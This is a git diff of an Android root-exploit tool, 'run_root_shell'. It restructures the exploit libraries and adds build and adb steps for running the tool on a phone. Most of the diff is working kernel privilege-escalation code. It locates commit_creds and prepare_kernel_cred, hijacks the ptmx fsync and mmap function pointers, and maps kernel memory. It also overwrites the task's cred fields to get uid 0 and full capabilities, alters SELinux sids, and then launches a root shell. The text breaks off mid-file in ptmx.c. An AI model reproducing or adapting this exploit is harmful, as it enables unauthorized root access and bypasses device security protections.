diff --git a/.gitmodules b/.gitmodules index fb45603..0a93234 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,12 +1,9 @@ -[submodule "libdiagexploit"] - path = libdiagexploit - url = git://github.com/hiikezoe/libdiagexploit.git [submodule "device_database"] path = device_database - url = git://github.com/fi01/android_device_database.git -[submodule "libperf_event_exploit"] - path = libperf_event_exploit - url = git://github.com/hiikezoe/libperf_event_exploit.git -[submodule "libmsm_acdb_exploit"] - path = libmsm_acdb_exploit - url = git://github.com/fi01/libmsm_acdb_exploit.git + url = https://github.com/android-rooting-tools/android_device_database.git +[submodule "libkallsyms"] + path = libkallsyms + url = https://github.com/android-rooting-tools/libkallsyms.git +[submodule "libexploit"] + path = libexploit + url = https://github.com/android-rooting-tools/libexploit.git diff --git a/Android.mk b/Android.mk index 63bd288..9a4970f 100644 --- a/Android.mk +++ b/Android.mk @@ -11,12 +11,15 @@ LOCAL_SRC_FILES := \ LOCAL_MODULE := run_root_shell LOCAL_MODULE_TAGS := optional -LOCAL_FORCE_STATIC_EXECUTABLE := true -LOCAL_STATIC_LIBRARIES := libdiagexploit -LOCAL_STATIC_LIBRARIES += libdevice_database -LOCAL_STATIC_LIBRARIES += libperf_event_exploit -LOCAL_STATIC_LIBRARIES += libmsm_acdb_exploit +LOCAL_STATIC_LIBRARIES := libdevice_database +LOCAL_STATIC_LIBRARIES += libexploit +LOCAL_STATIC_LIBRARIES += libkallsyms LOCAL_STATIC_LIBRARIES += libcutils libc +LOCAL_LDFLAGS += -static + +TOP_SRCDIR := $(abspath $(LOCAL_PATH)) +TARGET_C_INCLUDES += \ + $(TOP_SRCDIR)/device_database include $(BUILD_EXECUTABLE) diff --git a/README.md b/README.md index cdbbc4b..e59b0fe 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,50 @@ -# +android_run_root_shell +====================== This code is still ugly, please re-write it and send pull-requests, if you want to use this. + + +Building +======== + +* Download the Android Native Development Kit (NDK): http://developer.android.com/tools/sdk/ndk/index.html#Downloads + +* Extract into some directory and put that in your path: + `export PATH=ANDK_DIR:$PATH` + +* In another directory clone this repo: + `git clone --recursive https://github.com/android-rooting-tools/android_run_root_shell` + +* Change to the directory where the repo was cloned + `cd android_run_root_shell` + +* To start build process use the following + `ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk` + +* If all goes well you will get the compiled binary at: + `./libs/armeabi/run_root_shell` + + +Running +======= + +* Download the Android Software Development Kit (SDK) ADT Bundle: http://developer.android.com/sdk/index.html + +* Extract into some directory and put the platform-tools folder in your path: + `export PATH=SDK_DIR/sdk/platform-tools/:$PATH` + +* Change to the directory with the compiled run_root_shell binary (see above) + +* Connect your Android device through USB (click Cancel if it asks to enable USB storage; charging only is the correct mode) and enable USB debugging on the device. + +* Start the adb server on your computer: + `sudo adb start-server` + +* Transfer run_root_shell to a temporary directory on the phone: + `adb push run_root_shell /data/local` + +* Ensure that run_root_shell has execute permissions: + `adb shell chmod 777 /data/local/run_root_shell` + +* Run the command on the phone: + `adb shell /data/local/run_root_shell` diff --git a/cred.c b/cred.c index 0ca2847..2e45e13 100644 --- a/cred.c +++ b/cred.c @@ -1,195 +1,104 @@ #include #include -#include -#include -#include -#include -#include -#include #include "cred.h" #include "mm.h" -#include "ptmx.h" -#include "libdiagexploit/diag.h" #include "kallsyms.h" -#include "libperf_event_exploit/perf_event.h" #include "device_database/device_database.h" -typedef struct _supported_device { - device_id_t device_id; - unsigned long int prepare_kernel_cred_address; - unsigned long int commit_creds_address; -} supported_device; - -static supported_device supported_devices[] = { - { DEVICE_IS17SH_01_00_04, 0xc01c66a8, 0xc01c5fd8 }, - { DEVICE_SH04E_01_00_02, 0xc008d86c, 0xc008d398 }, - { DEVICE_SH04E_01_00_03, 0xc008d99c, 0xc008d4c8 }, - { DEVICE_SO01E_9_1_C_0_473, 0xc009843c, 0xc0097f60 }, - { DEVICE_SOL21_9_1_D_0_395, 0xc0098584, 0xc00980a8 }, - { DEVICE_HTL21_1_29_970_1, 0xc00ab9d8, 0xc00ab4c4 }, - { DEVICE_HTL22_1_05_970_1, 0xc00b2688, 0xc00b2174 }, - { DEVICE_HTL22_1_07_970_4, 0xc00b26a0, 0xc00b218c }, - { DEVICE_HTX21_1_20_971_1, 0xc00a6e54, 0xc00a6940 }, - { DEVICE_LT26W_1265_3909_6_2_B_0_200, 0xc00b261c, 0xc00b2140 }, - { DEVICE_LT26I_1257_8080_6_2_B_0_211, 0xc00b19d8, 0xc00b14fc }, - { DEVICE_C6603_1269_5309_10_1_1_A_1_307, 0xc0093dd4, 0xc00938f8 }, - { DEVICE_C5302_1272_1092_12_0_A_1_284, 0xc009ec08, 0xc009e72c }, - { DEVICE_N05E_A1000311, 0xc0094430, 0xc0093ebc } -}; - -static int n_supported_devices = sizeof(supported_devices) / sizeof(supported_devices[0]); +prepare_kernel_cred_t prepare_kernel_cred; +commit_creds_t commit_creds; -static bool -get_creds_functions_addresses(void **prepare_kernel_cred_address, void **commit_creds_address) +bool +setup_prepare_kernel_cred_address(void) { - int i; - device_id_t device_id; - - device_id = detect_device(); - - for (i = 0; i < n_supported_devices; i++) { - if (supported_devices[i].device_id == device_id){ - if (prepare_kernel_cred_address) { - *prepare_kernel_cred_address = (void*)supported_devices[i].prepare_kernel_cred_address; - } - if (commit_creds_address) { - *commit_creds_address = (void*)supported_devices[i].commit_creds_address; - } - return true; - } + if (prepare_kernel_cred) { + return true; } - print_reason_device_not_supported(); - - return false; -} - -static uint32_t PAGE_OFFSET = 0xC0000000; + prepare_kernel_cred = (prepare_kernel_cred_t)device_get_symbol_address(DEVICE_SYMBOL(prepare_kernel_cred)); -static void * -convert_to_kernel_address(void *address, void *mmap_base_address) -{ - return address - mmap_base_address + (void*)PAGE_OFFSET; -} + if (!prepare_kernel_cred && kallsyms_exist()) { + prepare_kernel_cred = kallsyms_get_symbol_address("prepare_kernel_cred"); + } -static void * -convert_to_mmaped_address(void *address, void *mmap_base_address) -{ - return mmap_base_address + (address - (void*)PAGE_OFFSET); + return !!prepare_kernel_cred; } -static uint32_t prepare_kernel_cred_asm[] = { 0xe59f30bc, 0xe3a010d0, 0xe92d4070, 0xe1a04000 }; -static size_t prepare_kernel_cred_asm_length = sizeof(prepare_kernel_cred_asm); -static void * -find_prepare_kernel_cred(void *mem, size_t length) +bool +setup_commit_creds_address(void) { - void *prepare_kernel_cred; - - prepare_kernel_cred = memmem(mem, length, &prepare_kernel_cred_asm, prepare_kernel_cred_asm_length); - if (!prepare_kernel_cred) { - printf("Couldn't find prepare_kernel_cred address\n"); - return NULL; + if (commit_creds) { + return true; } - return prepare_kernel_cred; -} - -static uint32_t commit_creds_asm[] = { 0xe92d4070, 0xe1a0200d, 0xe3c23d7f, 0xe1a05000 }; -static size_t commit_creds_asm_length = sizeof(prepare_kernel_cred_asm); -static void * -find_commit_creds(void *mem, size_t length) -{ - void *commit_creds; + commit_creds = (commit_creds_t)device_get_symbol_address(DEVICE_SYMBOL(commit_creds)); - commit_creds = memmem(mem, length, &commit_creds_asm, commit_creds_asm_length); - if (!commit_creds) { - printf("Couldn't find commit_creds address\n"); - return NULL; + if (!commit_creds && kallsyms_exist()) { + commit_creds = kallsyms_get_symbol_address("commit_creds"); } - return commit_creds; + return !!commit_creds; } -#define KERNEL_SIZE 0x10000000 +static uint32_t prepare_kernel_cred_asm[] = { 0xe59f30bc, 0xe3a010d0, 0xe92d4070, 0xe1a04000 }; +static size_t prepare_kernel_cred_asm_length = sizeof(prepare_kernel_cred_asm); static bool -find_creds_functions_with_mmap(void *user_data) +find_prepare_kernel_cred_address_in_memory(void *mem, size_t length) { - int fd; void *address; - void *start_address = (void*) 0x10000000; - - fd = open(PTMX_DEVICE, O_RDWR); - address = mmap(start_address, KERNEL_SIZE, - PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, - fd, 0); - if (address == MAP_FAILED) { - printf("Failed to mmap /dev/ptmx due to %s.\n", strerror(errno)); - close(fd); - return false; - } - prepare_kernel_cred = find_prepare_kernel_cred(address, KERNEL_SIZE); if (prepare_kernel_cred) { - commit_creds = find_commit_creds(prepare_kernel_cred + 4, KERNEL_SIZE); - - prepare_kernel_cred = convert_to_kernel_address(prepare_kernel_cred, address); - commit_creds = convert_to_kernel_address(commit_creds, address); + return true; } - munmap(address, KERNEL_SIZE); - - close(fd); - - return prepare_kernel_cred && commit_creds; -} - -static bool -find_with_diag_exploit(unsigned int ptmx_mmap_address) -{ - struct diag_values injection_data; - - injection_data.address = ptmx_mmap_address; - injection_data.value = (uint16_t)&ptmx_mmap; + address = (prepare_kernel_cred_t)memmem(mem, length, &prepare_kernel_cred_asm, prepare_kernel_cred_asm_length); + if (!address) { + return false; + } - return diag_run_exploit(&injection_data, 1, - find_creds_functions_with_mmap, NULL); + prepare_kernel_cred = (prepare_kernel_cred_t)convert_to_kernel_address(address, mem); + return true; } -static bool -find_with_perf_swevent_exploit(unsigned int ptmx_mmap_address) -{ - return perf_swevent_run_exploit(ptmx_mmap_address, (int)&ptmx_mmap, - find_creds_functions_with_mmap, NULL); -} +static uint32_t commit_creds_asm[] = { 0xe92d4070, 0xe1a0200d, 0xe3c23d7f, 0xe1a05000 }; +static size_t commit_creds_asm_length = sizeof(prepare_kernel_cred_asm); static bool -find_creds_functions_in_memory(void) +find_commit_creds_address_in_memory(void *mem, size_t length) { - unsigned long int ptmx_mmap_address; + void *address; - ptmx_mmap_address = get_ptmx_fops_address() + 0x28; + if (commit_creds) { + return true; + } - if (diag_is_supported()) { - return find_with_diag_exploit(ptmx_mmap_address); + address = (commit_creds_t)memmem(mem, length, &commit_creds_asm, commit_creds_asm_length); + if (!address) { + return false; } - return find_with_perf_swevent_exploit(ptmx_mmap_address); + + commit_creds = (commit_creds_t)convert_to_kernel_address(address, mem); + return true; } bool -setup_creds_functions(void) +setup_prepare_kernel_cred_address_in_memory(void *mem, size_t length) { - if (kallsyms_exist()) { - prepare_kernel_cred = kallsyms_get_symbol_address("prepare_kernel_cred"); - commit_creds = kallsyms_get_symbol_address("commit_creds"); + if (prepare_kernel_cred) { return true; } - if (get_creds_functions_addresses((void**)&prepare_kernel_cred, (void**)&commit_creds)) { + return find_prepare_kernel_cred_address_in_memory(mem, length); +} + +bool +setup_commit_creds_address_in_memory(void *mem, size_t length) +{ + if (commit_creds) { return true; } - return find_creds_functions_in_memory(); + return find_commit_creds_address_in_memory(mem, length); } - diff --git a/cred.h b/cred.h index 914e68a..7014e31 100644 --- a/cred.h +++ b/cred.h @@ -19,14 +19,22 @@ #define CREDS_H #include +#include struct cred; struct task_struct; -bool setup_creds_functions(void); +typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *); +typedef int (*commit_creds_t)(struct cred *); -struct cred *(*prepare_kernel_cred)(struct task_struct *); -int (*commit_creds)(struct cred *); +extern bool setup_prepare_kernel_cred_address(); +extern bool setup_commit_creds_address(); + +extern bool setup_prepare_kernel_cred_address_in_memory(void *mem, size_t length); +extern bool setup_commit_creds_address_in_memory(void *mem, size_t length); + +extern prepare_kernel_cred_t prepare_kernel_cred; +extern commit_creds_t commit_creds; #endif /* CREDS_H */ /* diff --git a/device_database b/device_database index 1b2c303..0ddc260 160000 --- a/device_database +++ b/device_database @@ -1 +1 @@ -Subproject commit 1b2c30320832cbe36805b3b15a0f7a15a285b499 +Subproject commit 0ddc2604131fbd93d48524d3dab95eb050ed608f diff --git a/libdiagexploit b/libdiagexploit deleted file mode 160000 index 80d0ad5..0000000 --- a/libdiagexploit +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 80d0ad59f3a271fa69a2c978de60407bbace4f9d diff --git a/libexploit b/libexploit new file mode 160000 index 0000000..e919a58 --- /dev/null +++ b/libexploit @@ -0,0 +1 @@ +Subproject commit e919a586bb8ea486839364b1ba933ac21173c674 diff --git a/libkallsyms b/libkallsyms new file mode 160000 index 0000000..aa38ae7 --- /dev/null +++ b/libkallsyms @@ -0,0 +1 @@ +Subproject commit aa38ae78145724a2a330c1bab620cf3df7c3f6ad diff --git a/libmsm_acdb_exploit b/libmsm_acdb_exploit deleted file mode 160000 index 76ee2e1..0000000 --- a/libmsm_acdb_exploit +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 76ee2e141bd75e54496adae3f01d39a82961123c diff --git a/libperf_event_exploit b/libperf_event_exploit deleted file mode 160000 index fb38536..0000000 --- a/libperf_event_exploit +++ /dev/null @@ -1 +0,0 @@ -Subproject commit fb38536b9868e9ff662ec7c21f595536770f8b4c diff --git a/main.c b/main.c index b4ff50e..cce59ff 100644 --- a/main.c +++ b/main.c @@ -10,98 +10,360 @@ #include #include +#include +#include "device_database.h" #include "cred.h" #include "mm.h" #include "ptmx.h" -#include "libdiagexploit/diag.h" -#include "libperf_event_exploit/perf_event.h" -#include "libmsm_acdb_exploit/acdb.h" +#include "libexploit/exploit.h" +#include "libkallsyms/kallsyms_in_memory.h" + +#define THREAD_SIZE 8192 + +#define KERNEL_START 0xc0000000 + +struct thread_info; +struct task_struct; +struct cred; +struct kernel_cap_struct; +struct task_security_struct; +struct list_head; + +struct thread_info { + unsigned long flags; + int preempt_count; + unsigned long addr_limit; + struct task_struct *task; + + /* ... */ +}; + +struct kernel_cap_struct { + unsigned long cap[2]; +}; + +struct cred { + unsigned long usage; + uid_t uid; + gid_t gid; + uid_t suid; + gid_t sgid; + uid_t euid; + gid_t egid; + uid_t fsuid; + gid_t fsgid; + unsigned long securebits; + struct kernel_cap_struct cap_inheritable; + struct kernel_cap_struct cap_permitted; + struct kernel_cap_struct cap_effective; + struct kernel_cap_struct cap_bset; + unsigned char jit_keyring; + void *thread_keyring; + void *request_key_auth; + void *tgcred; + struct task_security_struct *security; + + /* ... */ +}; + +struct list_head { + struct list_head *next; + struct list_head *prev; +}; + +struct task_security_struct { + unsigned long osid; + unsigned long sid; + unsigned long exec_sid; + unsigned long create_sid; + unsigned long keycreate_sid; + unsigned long sockcreate_sid; +}; + + +struct task_struct_partial { + struct list_head cpu_timers[3]; + struct cred *real_cred; + struct cred *cred; + struct cred *replacement_session_keyring; + char comm[16]; +}; + +static inline struct thread_info * +current_thread_info(void) +{ + register unsigned long sp asm ("sp"); + return (struct thread_info *)(sp & ~(THREAD_SIZE - 1)); +} + +static bool +is_cpu_timer_valid(struct list_head *cpu_timer) +{ + if (cpu_timer->next != cpu_timer->prev) { + return false; + } + + if ((unsigned long int)cpu_timer->next < KERNEL_START) { + return false; + } + + return true; +} + +static void +obtain_root_privilege_by_modify_task_cred(void) +{ + struct thread_info *info; + struct cred *cred; + struct task_security_struct *security; + unsigned long addr_limit; + int i; + + info = current_thread_info(); + addr_limit = info->addr_limit; + cred = NULL; + + for (i = 0; i < 0x400; i+= 4) { + struct task_struct_partial *task = ((void *)info->task) + i; + + if (is_cpu_timer_valid(&task->cpu_timers[0]) + && is_cpu_timer_valid(&task->cpu_timers[1]) + && is_cpu_timer_valid(&task->cpu_timers[2]) + && (unsigned long)task->cred >= addr_limit + && task->real_cred == task->cred) { + cred = task->cred; + break; + } + } + + if (cred == NULL) { + return; + } + + cred->uid = 0; + cred->gid = 0; + cred->suid = 0; + cred->sgid = 0; + cred->euid = 0; + cred->egid = 0; + cred->fsuid = 0; + cred->fsgid = 0; + + cred->cap_inheritable.cap[0] = 0xffffffff; + cred->cap_inheritable.cap[1] = 0xffffffff; + cred->cap_permitted.cap[0] = 0xffffffff; + cred->cap_permitted.cap[1] = 0xffffffff; + cred->cap_effective.cap[0] = 0xffffffff; + cred->cap_effective.cap[1] = 0xffffffff; + cred->cap_bset.cap[0] = 0xffffffff; + cred->cap_bset.cap[1] = 0xffffffff; + + security = cred->security; + if (security) { + if (security->osid != 0 + && security->sid != 0 + && security->exec_sid == 0 + && security->create_sid == 0 + && security->keycreate_sid == 0 + && security->sockcreate_sid == 0) { + security->osid = 1; + security->sid = 1; + } + } +} + +static void +obtain_root_privilege_by_commit_creds(void) +{ + commit_creds(prepare_kernel_cred(0)); +} + +static void (*obtain_root_privilege_func)(void); void obtain_root_privilege(void) { - commit_creds(prepare_kernel_cred(0)); + if (obtain_root_privilege_func) { + obtain_root_privilege_func(); + } } static bool run_obtain_root_privilege(void *user_data) { int fd; + int ret; + + obtain_root_privilege_func = obtain_root_privilege_by_commit_creds; fd = open(PTMX_DEVICE, O_WRONLY); - fsync(fd); + + ret = fsync(fd); + + if (getuid() != 0) { + printf("commit_creds(): failed. Try to hack task->cred.\n"); + + obtain_root_privilege_func = obtain_root_privilege_by_modify_task_cred; + ret = fsync(fd); + } + close(fd); - return true; + return (ret == 0); } static bool -attempt_diag_exploit(unsigned long int address) +run_exploit(void) { - struct diag_values injection_data; + setup_ptmx_fops_fsync_address(); + if (!ptmx_fops_fsync_address) { + return false; + } - injection_data.address = address; - injection_data.value = (uint16_t)&obtain_root_privilege; + return attempt_exploit(ptmx_fops_fsync_address, + (unsigned long int)&obtain_root_privilege, 0, + run_obtain_root_privilege, NULL); +} + +void +device_detected(void) +{ + char device[PROP_VALUE_MAX]; + char build_id[PROP_VALUE_MAX]; + + __system_property_get("ro.product.model", device); + __system_property_get("ro.build.display.id", build_id); - return diag_run_exploit(&injection_data, 1, - run_obtain_root_privilege, NULL); + printf("\n\nDevice detected: %s (%s)\n\n", device, build_id); } static bool -attempt_acdb_exploit(unsigned long int address, unsigned long int original_value) +find_ptmx_fops_address(kallsyms *info, void *mem, size_t length) { - if (acdb_run_exploit(address, (int)&obtain_root_privilege, - run_obtain_root_privilege, NULL)) { + find_ptmx_fops_hint_t hint; - acdb_write_value_at_address(address, original_value); + hint.ptmx_open_address = kallsyms_in_memory_lookup_name(info, "ptmx_open"); + if (!hint.ptmx_open_address) { + return false; + } - return true; + hint.tty_release_address = kallsyms_in_memory_lookup_name(info, "tty_release"); + if (!hint.tty_release_address) { + return false; } - return false; + hint.tty_fasync_address = kallsyms_in_memory_lookup_name(info, "tty_fasync"); + if (!hint.tty_fasync_address) { + return false; + } + + return setup_ptmx_fops_address_in_memory(mem, length, &hint); } -static bool -run_exploit(void) +bool find_variables_in_memory(void *mem, size_t length) { - unsigned long int ptmx_fsync_address; - unsigned long int ptmx_fops_address; + kallsyms *info; - ptmx_fops_address = get_ptmx_fops_address(); - if (!ptmx_fops_address) { - return false; + printf("Search address in memory...\n"); + + info = kallsyms_in_memory_init(mem, length); + if (info) { + printf("Using kallsyms_in_memory...\n"); + + if (!prepare_kernel_cred) { + prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred"); + } + + if (!commit_creds) { + commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds"); + } + + if (!ptmx_fops) { + ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops"); + + if (!ptmx_fops) { + find_ptmx_fops_address(info, mem, length); + } + } + + kallsyms_in_memory_free(info); + + if (prepare_kernel_cred && commit_creds && ptmx_fops) { + return true; + } } - ptmx_fsync_address = ptmx_fops_address + 0x38; + setup_prepare_kernel_cred_address_in_memory(mem, length); + setup_commit_creds_address_in_memory(mem, length); + + return prepare_kernel_cred && commit_creds && ptmx_fops; +} + +bool +setup_variables(void) +{ + setup_prepare_kernel_cred_address(); + setup_commit_creds_address(); + setup_ptmx_fops_address(); - if (attempt_diag_exploit(ptmx_fsync_address)) { + if (prepare_kernel_cred && commit_creds && ptmx_fops) { return true; } - printf("\n"); - printf("Attempt acdb exploit...\n"); - if (attempt_acdb_exploit(ptmx_fsync_address, 0)) { + printf("Try to find address in memory...\n"); + if (!run_with_mmap(find_variables_in_memory)) { + printf("\n"); + run_with_memcpy(find_variables_in_memory); + } + + if (prepare_kernel_cred && commit_creds && ptmx_fops) { + printf(" prepare_kernel_cred = %p\n", prepare_kernel_cred); + printf(" commit_creds = %p\n", commit_creds); + printf(" ptmx_fops = %p\n", ptmx_fops); + +#ifdef HAS_SET_SYMBOL_ADDRESS + device_set_symbol_address(DEVICE_SYMBOL(prepare_kernel_cred), (unsigned long int)prepare_kernel_cred); + device_set_symbol_address(DEVICE_SYMBOL(commit_creds), (unsigned long int)commit_creds); + device_set_symbol_address(DEVICE_SYMBOL(ptmx_fops), (unsigned long int)ptmx_fops); +#endif /* HAS_SET_SYMBOL_ADDRESS */ + return true; } - printf("\n"); - printf("Attempt perf_swevent exploit...\n"); - return perf_swevent_run_exploit(ptmx_fsync_address, (int)&obtain_root_privilege, - run_obtain_root_privilege, NULL); + if (!prepare_kernel_cred) { + printf("Failed to get prepare_kernel_cred address.\n"); + } + + if (!commit_creds) { + printf("Failed to get commit_creds address.\n"); + } + + if (!ptmx_fops) { + printf("Failed to get ptmx_fops address.\n"); + } + + print_reason_device_not_supported(); + + return false; } int main(int argc, char **argv) { - set_kernel_phys_offset(0x200000); - remap_pfn_range = get_remap_pfn_range_address(); - if (!remap_pfn_range) { - printf("You need to manage to get remap_pfn_range addresses.\n"); - exit(EXIT_FAILURE); + char* command = NULL; + int i; + for (i = 1; i < argc; i++) { + if (!strcmp(argv[i], "-c")) { + if (++i < argc) { + command = argv[i]; + } + } } - if (!setup_creds_functions()) { - printf("Failed to get prepare_kernel_cred and commit_creds addresses.\n"); + device_detected(); + + if (!setup_variables()) { + printf("Failed to setup variables.\n"); exit(EXIT_FAILURE); } @@ -112,7 +374,11 @@ main(int argc, char **argv) exit(EXIT_FAILURE); } - system("/system/bin/sh"); + if (command == NULL) { + system("/system/bin/sh"); + } else { + execl("/system/bin/sh", "/system/bin/sh", "-c", command, NULL); + } exit(EXIT_SUCCESS); } diff --git a/mm.c b/mm.c index 601012e..ab913fd 100644 --- a/mm.c +++ b/mm.c @@ -1,74 +1,251 @@ +#include +#include +#include +#include + #include "kallsyms.h" #include "mm.h" +#include "ptmx.h" +#include "libexploit/exploit.h" #include "device_database/device_database.h" -typedef struct _supported_device { - device_id_t device_id; - unsigned long int remap_pfn_range_address; -} supported_device; - -static supported_device supported_devices[] = { - { DEVICE_IS17SH_01_00_04, 0xc0208a34 }, - { DEVICE_SH04E_01_00_02, 0xc00e458c }, - { DEVICE_SH04E_01_00_03, 0xc00e46bc }, - { DEVICE_SO01E_9_1_C_0_473, 0xc010e1f4 }, - { DEVICE_SOL21_9_1_D_0_395, 0xc010e33c }, - { DEVICE_HTL21_1_29_970_1, 0xc00ff32c }, - { DEVICE_HTL22_1_05_970_1, 0xc0128b10 }, - { DEVICE_HTL22_1_07_970_4, 0xc0128b28 }, - { DEVICE_HTX21_1_20_971_1, 0xc00fa8b0 }, - { DEVICE_LT26W_1265_3909_6_2_B_0_200, 0xc0136294 }, - { DEVICE_LT26I_1257_8080_6_2_B_0_211, 0xc0135650 }, - { DEVICE_C6603_1269_5309_10_1_1_A_1_307, 0xc0109894 }, - { DEVICE_C5302_1272_1092_12_0_A_1_284, 0xc011445c }, - { DEVICE_N05E_A1000311, 0xc0105800 } -}; - -static int n_supported_devices = sizeof(supported_devices) / sizeof(supported_devices[0]); - -unsigned long int -_get_remap_pfn_range_address(void) +#define PAGE_OFFSET 0xc0000000 +#define KERNEL_SIZE 0x02000000 + + +static unsigned long int kernel_phys_offset; + +int (*remap_pfn_range)(struct vm_area_struct *, unsigned long addr, + unsigned long pfn, unsigned long size, pgprot_t); + +bool +setup_remap_pfn_range_address(void) { - int i; - device_id_t device_id; + if (remap_pfn_range) { + return true; + } - device_id = detect_device(); + remap_pfn_range = (void *)device_get_symbol_address(DEVICE_SYMBOL(remap_pfn_range)); - for (i = 0; i < n_supported_devices; i++) { - if (supported_devices[i].device_id == device_id){ - return supported_devices[i].remap_pfn_range_address; - } + if (!remap_pfn_range && kallsyms_exist()) { + remap_pfn_range = kallsyms_get_symbol_address("remap_pfn_range"); } - print_reason_device_not_supported(); + return !!remap_pfn_range; +} - return 0; +void +set_kernel_phys_offset(unsigned long int offset) +{ + kernel_phys_offset = offset; } +#define PAGE_SHIFT 12 + void * -get_remap_pfn_range_address(void) +convert_to_kernel_address(void *address, void *mmap_base_address) { - if (kallsyms_exist()) { - return kallsyms_get_symbol_address("remap_pfn_range"); - } - return (void*)_get_remap_pfn_range_address(); + return address - mmap_base_address + (void*)PAGE_OFFSET; } -static unsigned long int kernel_phys_offset = 0; +void * +convert_to_mmaped_address(void *address, void *mmap_base_address) +{ + return mmap_base_address + (address - (void*)PAGE_OFFSET); +} -void -set_kernel_phys_offset(unsigned long int offset) +static bool +detect_kernel_phys_parameters(void) { - kernel_phys_offset = offset; + FILE *fp; + void *system_ram_address; + char name[BUFSIZ]; + void *start_address, *end_address; + int ret; + + system_ram_address = NULL; + + fp = fopen("/proc/iomem", "r"); + if (!fp) { + printf("Failed to open /proc/iomem due to %s.\n", strerror(errno)); + return false; + } + + while ((ret = fscanf(fp, "%p-%p : %[^\n]", &start_address, &end_address, name)) != EOF) { + if (!strcmp(name, "System RAM")) { + system_ram_address = start_address; + continue; + } + if (!strncmp(name, "Kernel", 6)) { + break; + } + } + fclose(fp); + + set_kernel_phys_offset((int)system_ram_address); + + return true; } -#define PAGE_SHIFT 12 +static void *old_mmap_handler; int ptmx_mmap(struct file *filep, struct vm_area_struct *vma) { - return remap_pfn_range(vma, vma->vm_start, - kernel_phys_offset >> PAGE_SHIFT, - vma->vm_end - vma->vm_start, vma->vm_page_prot); + void **p; + int ret; + + p = (void **)ptmx_fops_mmap_address; + + ret = remap_pfn_range(vma, vma->vm_start, + kernel_phys_offset >> PAGE_SHIFT, + vma->vm_end - vma->vm_start, vma->vm_page_prot); + + if (p) { + *p = old_mmap_handler; + } + + return ret; +} + +static void +setup_mmap_by_fsync(void) +{ + void **p; + + p = (void **)ptmx_fops_mmap_address; + if (p) { + old_mmap_handler = *p; + *p = (void *)&ptmx_mmap; + } +} + +static bool +run_callback_with_fsync_and_mmap(void *user_data) +{ + int fd; + void *address; + void *start_address = (void *)0x20000000; + memory_callback_t callback = (memory_callback_t)user_data; + bool ret; + + fd = open(PTMX_DEVICE, O_RDWR); + fsync(fd); + + address = mmap(start_address, KERNEL_SIZE, + PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, + fd, 0); + if (address == MAP_FAILED) { + printf("Failed to mmap /dev/ptmx due to %s.\n", strerror(errno)); + close(fd); + return false; + } + + ret = callback(address, KERNEL_SIZE); + + munmap(address, KERNEL_SIZE); + + close(fd); + + return ret; +} + +typedef struct _callback_memory_exploit_info_t { + memory_callback_t func; + bool result; +} callback_memory_exploit_info_t; + +static bool +run_callback_memory_exploit(void *address, size_t length, void *param) +{ + callback_memory_exploit_info_t *info = param; + + info->result = info->func(address, length); + + return true; +} + +static bool +run_exploit_mmap(memory_callback_t callback, bool *result) +{ + callback_memory_exploit_info_t info; + + info.func = callback; + + if (attempt_mmap_exploit(&run_callback_memory_exploit, &info)) { + *result = info.result; + return true; + } + + return false; +} + +bool +run_with_mmap(memory_callback_t callback) +{ + unsigned long int kernel_physical_offset; + bool result; + + if (run_exploit_mmap(callback, &result)) { + return result; + } + + setup_remap_pfn_range_address(); + + if (!remap_pfn_range) { + printf("You need to manage to get remap_pfn_range address.\n"); + return false; + } + + setup_ptmx_fops_fsync_address(); + if (!ptmx_fops_fsync_address) { + printf("You need to manage to get ptmx_fops address.\n"); + return false; + } + + setup_ptmx_fops_mmap_address(); + if (!ptmx_fops_mmap_address) { + printf("You need to manage to get ptmx_fops address.\n"); + return false; + } + + kernel_physical_offset = device_get_symbol_address(DEVICE_SYMBOL(kernel_physical_offset)); + if (kernel_physical_offset) { + set_kernel_phys_offset(kernel_physical_offset - 0x00008000); + } + else if (!detect_kernel_phys_parameters()) { + printf("You need to manage to get kernel_physical_offset address.\n"); + return false; + } + + return attempt_exploit(ptmx_fops_fsync_address, + (unsigned long int)&setup_mmap_by_fsync, 0, + run_callback_with_fsync_and_mmap, callback); +} + +static bool +run_exploit_memcpy(memory_callback_t callback, bool *result) +{ + callback_memory_exploit_info_t info; + + info.func = callback; + + if (attempt_memcpy_exploit(&run_callback_memory_exploit, &info)) { + *result = info.result; + return true; + } + + return false; } +bool +run_with_memcpy(memory_callback_t callback) +{ + bool result; + + if (run_exploit_memcpy(callback, &result)) { + return result; + } + + return false; +} diff --git a/mm.h b/mm.h index 38aecbf..53aaf04 100644 --- a/mm.h +++ b/mm.h @@ -18,6 +18,10 @@ #ifndef MM_H #define MM_H +#include +#include +#include + struct file; typedef struct { @@ -32,13 +36,18 @@ struct vm_area_struct { /* ... */ }; -int (*remap_pfn_range)(struct vm_area_struct *, unsigned long addr, - unsigned long pfn, unsigned long size, pgprot_t); +typedef bool (*memory_callback_t)(void *mem, size_t length); + +extern bool setup_remap_pfn_range_address(void); +extern bool run_with_mmap(memory_callback_t callback); +extern bool run_with_memcpy(memory_callback_t callback); -void *get_remap_pfn_range_address(void); +extern void set_kernel_phys_offset(unsigned long int offset); +extern void *convert_to_kernel_address(void *address, void *mmap_base_address); +extern void *convert_to_mmaped_address(void *address, void *mmap_base_address); -void set_kernel_phys_offset(unsigned long int offset); -int ptmx_mmap(struct file *filep, struct vm_area_struct *vma); +extern int (*remap_pfn_range)(struct vm_area_struct *, unsigned long addr, + unsigned long pfn, unsigned long size, pgprot_t); #endif /* MM_H */ /* diff --git a/ptmx.c b/ptmx.c index ef093e3..8f5bc68 100644 --- a/ptmx.c +++ b/ptmx.c @@ -1,66 +1,80 @@ +#include +#include #include "ptmx.h" +#include "kallsyms.h" #include "device_database/device_database.h" -typedef struct _supported_device { - device_id_t device_id; - unsigned long int ptmx_fops_address; -} supported_device; - -static supported_device supported_devices[] = { - // F10D: Fujitsu added a method in struct file_operations - { DEVICE_F10D_V21R48A, 0xc09a60dc + 4 }, - - { DEVICE_F11D_V24R40A, 0xc1056998 }, - { 